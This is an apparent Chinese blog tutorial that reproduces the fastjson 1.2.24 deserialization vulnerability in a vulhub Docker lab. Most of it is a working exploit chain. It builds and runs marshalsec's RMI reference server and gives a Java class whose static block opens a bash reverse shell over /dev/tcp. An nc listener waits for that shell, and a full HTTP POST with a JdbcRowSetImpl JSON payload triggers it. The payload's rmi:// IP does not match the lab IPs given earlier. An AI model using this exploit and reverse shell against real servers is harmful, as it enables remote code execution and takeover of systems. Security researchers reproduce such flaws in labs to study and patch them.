五分钟复现fastjson1.2.24反序列化漏洞

前期准备

  • win10
  • 虚拟机(装有kali)
  • kali配置了docker

复现过程

  • 一、在kali的docker中起两个服务,一个是Tomcat,另一个是fastjson。
方法是在vulhub的对应目录下:docker-compose up -d

即靶机:http://192.168.220.128:8090
攻击者站点:http://192.168.220.128:8080
五分钟复现fastjson1.2.24反序列化漏洞_第1张图片

  • 二、win10搭建rmi服务器作为攻击者服务器

步骤:

  • 下载源码:https://github.com/mbechler/marshalsec
  • 进入marshalsec 目录,编译出marshalsec的jar包:mvn clean package -DskipTests
  • 进入上步骤编译出的targets文件夹下面
  • 执行:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.220.128:8080/#TouchFile" 6666
    在这里插入图片描述
三、编译漏洞利用代码TouchFile.java,生成.class文件,并上传到Tomcat服务器的/usr/local/tomcat/webapps/ROOT路径下
  • 编译TouchFile.java:javac TouchFile.java
    java代码:
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
     
   static {
     
       try {
     
   		Runtime r = Runtime.getRuntime();
   		Process p = r.exec(new String[]{
     "/bin/bash","-c","bash -i >& /dev/tcp/192.168.220.128/6666 0>&1"});
   		p.waitFor();
       } catch (Exception e) {
     
           // do nothing
       }
   }
}

上传:

docker cp TouchFile.class dc1fbb4041ed:/usr/local/tomcat/webapps/ROOT/
四、在kali中监听6666端口(反弹shell)
nc -lvp 6666
五、在win10下,打开burpsuite-repeater,发送以下数据包:
POST / HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Host: 192.168.220.128:8090
Connection: close
Content-Length: 168
Content-Type: application/json
Accept-Encoding: gzip, deflate

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.33.109:6666/TouchFile",
        "autoCommit":true
    }
}
  • 如下表示成功:
    五分钟复现fastjson1.2.24反序列化漏洞_第2张图片
  • 此时rmi服务器显示
    五分钟复现fastjson1.2.24反序列化漏洞_第3张图片
  • kali监听成功返回shell:
    五分钟复现fastjson1.2.24反序列化漏洞_第4张图片
    总结:这里只是简单的复现了fastjson反序列化漏洞的利用过程,未讲解原理(能力有限),原理请移步到:漏洞原理,其实如何快速理解漏洞原理就是先去自己复现实践一下,对理解有很大帮助,

你可能感兴趣的:(安全渗透)